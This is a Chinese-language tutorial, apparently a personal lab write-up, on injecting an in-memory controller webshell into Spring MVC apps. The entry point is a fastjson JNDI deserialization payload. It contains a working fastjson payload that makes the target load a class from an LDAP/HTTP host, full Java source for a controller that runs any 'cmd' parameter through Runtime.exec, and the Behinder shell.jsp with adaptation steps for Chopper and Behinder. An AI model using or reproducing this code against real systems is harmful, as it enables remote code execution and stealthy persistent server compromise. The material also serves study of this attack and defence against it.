针对spring mvc的controller内存马-学习和实验(注入菜刀和冰蝎可用的马)

1 基础
2 实验
参考文献

1 基础

实际上java内存马的注入已经有很多方式了，我在学习中动手研究并写了一下针对spring mvc应用的内存马。一般来说实现无文件落地的java内存马注入，通常是利用反序列化漏洞，所以动手写了一个spring mvc的后端，并直接给了一个fastjson反序列化的页面，在假定的攻击中，通过jndi的利用方式让web端加载恶意类，注入controller。一切工作都是站在巨人的肩膀上，参考文章均在最后列出。

1.1 fastjson反序列化和JNDI

关于fastjson漏洞产生的具体原理已有很多分析文章，这里使用的是fastjson1.24版本，poc非常简单

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

当web端使用fastjson对上面的json进行反序列化时，受到@type注解的指示，会通过反射创建com.sun.rowset.JdbcRowSetImpl类的对象，基于fastjson的机制web端还会自动调用这个对象内部的set方法，最后触发JdbcRowSetImpl类中的特定set方法，访问dataSourceName指定的服务端，并下载执行服务端指定的class文件，细节这里不做更详细的展开。

1.2 向spring mvc注入controller

学习了listener、filter、servlet的内存马后，想到看一看spring相关的内存马，但没有发现直接给出源代码的controller型内存马，所以学习并动手实现了一下(spring版本4.2.6.RELEASE)。

首先站在巨人的肩膀上，可以知道spring mvc项目运行后，仍然可以动态添加controller。普通的controller写法如下

通过@RequestMapping注解标明url和请求方法，编译部署后，spring会根据这个注解注册好相应的controller。动态注入controller的核心步骤如下

public class InjectToController{
    public InjectToController(){
    // 1. 利用spring内部方法获取context
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2. 从context中获得 RequestMappingHandlerMapping 的实例
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 3. 通过反射获得自定义 controller 中的 Method 对象
    Method method2 = InjectToController.class.getMethod("test");
    // 4. 定义访问 controller 的 URL 地址
    PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
    // 5. 定义允许访问 controller 的 HTTP 方法（GET/POST）
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 6. 在内存中动态注册 controller
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    InjectToController injectToController = new InjectToController("aaa");
    mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    public void test() {
        xxx
    }
}

步骤1中的context可以理解为web端处理这个请求时，当前线程内所拥有的各种环境信息和资源
步骤2中获取的mappingHandlerMapping对象是用于注册controller的
步骤3中的反射是为了获得test这个Method对象，以便动态注册controller时，告知接收到给定url路径的请求后，用那个Method来处理，其中InjectToController类就是我们的恶意类
步骤4定义的url对象是为了指定注入url，这个url就是我们的内存马路径
步骤5是告知注入的url允许的请求方法
步骤6中RequestMappingInfo填入的信息类似于@RequestMapping注解中的信息，即url、允许的请求方法等。是真正注册controller的步骤
InjectToController这个类就是我们的恶意类，其中定义了test方法，这个方法内存在执行命令，当然也可以替换成冰蝎、哥斯拉的webshell核心代码，以便使用这两个工具。InjectToController的完整代码在后面的章节可见

1.3 获取request和response

常用的jsp一句话webshell代码如下

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));

由于jsp文件被执行时，会自动获得了request这个资源，所以一句话木马不需要考虑如何获取request这个对象。但在我们注入controller的流程中，恶意java类的编译是由攻击者完成的，web端直接执行编译好的class文件，显然不可能像上面图片中用注解的方式在让test方法(InjectToController中的)的参数自带request，所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ，通过spring的内部方法获取到request和response对象

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

如果spring mvc项目部署在tomcat下，也可以用针对tomcat获取requeset的方法，例如从ThreadLocal、Mbean和Thread.getCurrentThread获取(后方参考文献中已给出)

1.4 阻止重复添加controller (非必须)

经过调试发现，上面获取的mappingHandlerMapping中有一个mappingRegistry成员对象，而该对象下的urlLookup属性保存了已经注册的所有url路径，对mappingHandlerMapping进一步后发现，以上对象和属性都是私有的，且mappingRegistry并非mappingHandlerMapping中创建的，而是来自于基类AbstractHandlerMethodMapping。

所以对AbstractHandlerMethodMapping的源码进行了一番查看，发现通过其getMappingRegistry方法可以获取mappingRegistry，而urlLookup是其内部类MappingRegistry的私有属性，可以通过反射获取。

反射获取urlLookup和判断我们给定的url是否被注册的代码块如下

// 获取abstractHandlerMethodMapping对象，以便反射调用其getMappingRegistry方法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射调用getMappingRegistry方法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射获取urlLookup属性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判断我们想要注入的路径是否被已经存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
    String urlPath = (String) urlIterator.next();
    if ("/malicious".equals(urlPath)){
        System.out.println("url已存在");
        return;
    }
}

2 实验

2.1 搞个spring mvc的测试环境

这里用idea做了一个maven+spring mvc+tomcat的测试环境，方便随时换spring、fastjson和tomcat的版本。这个Web应用的功能有两个：

/home/postjson，可以输入json并POST给/home/readjson
/home/readjson，使用fastjson解析json，触发反序列化的rce

2.2 恶意类源代码

通过JNDI注入让服务端执行的代码如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 可选步骤，判断url是否存在
        AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
        Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
        field.setAccessible(true);
        Map urlLookup = (Map) field.get(mappingRegistry);
        Iterator urlIterator = urlLookup.keySet().iterator();
        List<String> urls = new ArrayList();
        while (urlIterator.hasNext()){
            String urlPath = (String) urlIterator.next();
            if ("/malicious".equals(urlPath)){
                System.out.println("url已存在");
                return;
            }
        }
        // 可选步骤，判断url是否存在
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二个构造函数
    public InjectToController(String aaa) {}
	// controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取cmd参数并执行命令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

由于fastjson反序列化时，自动下载并执行编译好的class文件，所以要在构造函数中写入注册controller的步骤
反序列化时自动触发的构造函数是第一个构造函数，因为没有带参数
由于registerMapping方法注册controller时需要给一个对象和这个对象内部的处理方法，而web端只下载了InjectToController这个类，再来一次JNDI去获取一个恶意类属实麻烦，所以用了InjectToController injectToController = new InjectToController("aaa");，这样就会进入第二个构造函数，而不会进入第一个构造函数无限循环。

2.3 测试

启动spring mvc项目，访问/项目/malicious路径，返回404

使用marshalsec开一个ldap的服务，并指定/Exploit这个reference对应的路径为192.168.x.x:8090/#InjectToController，再用python开一个web文件服务器

编译InjectToController.java，将编译好的class文件放到python开的web文件服务根目录下，访问/项目/home/postjson，并提交payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

payload提交后，会被fastjson进行反序列化，在这个过程中会触发JdbcRowSetImpl中的connect函数，并根据给定的dataSourceName发起LDAP请求，从开启的给定的LDAP服务端(1389端口)获得恶意类的地址，再去下载并执行恶意类(8090端口)，可以看到payload攻击成功了

访问/malicious这个uri确定一下

2.4 注入菜刀webshell

只需要找一匹稳定的jsp菜刀马，稍加改造:

把菜刀马的函数定义放在恶意类中
在注入的controller代码中加入菜刀马的判断和执行部分(上面的test方法中)
注意jsp菜刀马最后的out.print(sb.toString());改为response.getWriter().write(sb.toString());response.getWriter().flush();

2.5 注入冰蝎代码

2.5.1 冰蝎的服务端--shell.jsp

首先来看看冰蝎的shell.jsp文件，为了方便阅读，稍作加了一些换行

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
	U(ClassLoader c){super(c);}  //构造函数

	public Class g(byte []b){
		return super.defineClass(b,0,b.length);  // 调用父类的defineClass函数
	}
}
%>

<%
if (request.getMethod().equals("POST"))
	{
		String k="e45e329feb5d925b";
		session.putValue("u",k);
		Cipher c=Cipher.getInstance("AES");
		c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
		new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
	}
%>

可以看出，该jsp的核心功能有三点

为了方便地使用defineClass，创建了U这个类继承ClassLoader；
使用java自带的包，解密AES加密数据
使用defineClass加载AES解密后字节码，获得一个恶意类，利用newInstance创建这个类的实例，并调用equals方法

2.5.2 pageContext

shell.jsp中需要特别注意pageContext这个对象，它是jsp文件运行过程中自带的对象，可以获取request/response/session这三个包含页面信息的重要对象，对应pageContext有getRequest/getResponse/getSession方法。学艺不精，暂时没有找到从spring和tomcat中获取pageContext的方法。

但是从冰蝎的作者给出的提示可以知道，冰蝎3.0 bata7之后不在依赖pageContext，见github issue

又从源码确认了一下，在equal函数中传入的object有request/response/session对象即可

所以注入的controller代码中，可以将pageContext换成一个Map，手动添加key和value即可，前面的恶意类源代码中已经给出了如何获取request/response/session

2.5.3 继承ClassLoader和调用defineClass

在2.5.1中提到需要继承ClassLoader后调用父类的defineClass，当然也可以用反射，但是这样更方便而已。对恶意类稍加改造，继承ClassLoader、定义新的构造函数、增加g函数、添加冰蝎的服务端代码

特别需要注意的是红框内的ClassLoader.getSystemClassLoader()，如果随意给定某个继承自ClassLoader的类，可能会出现报错java.lang.LinkageError : attempted duplicate class definition for name。这是因为需要使用getSystemClassLoader()获取创建ClassLoader时需要添加委派父级(参考)。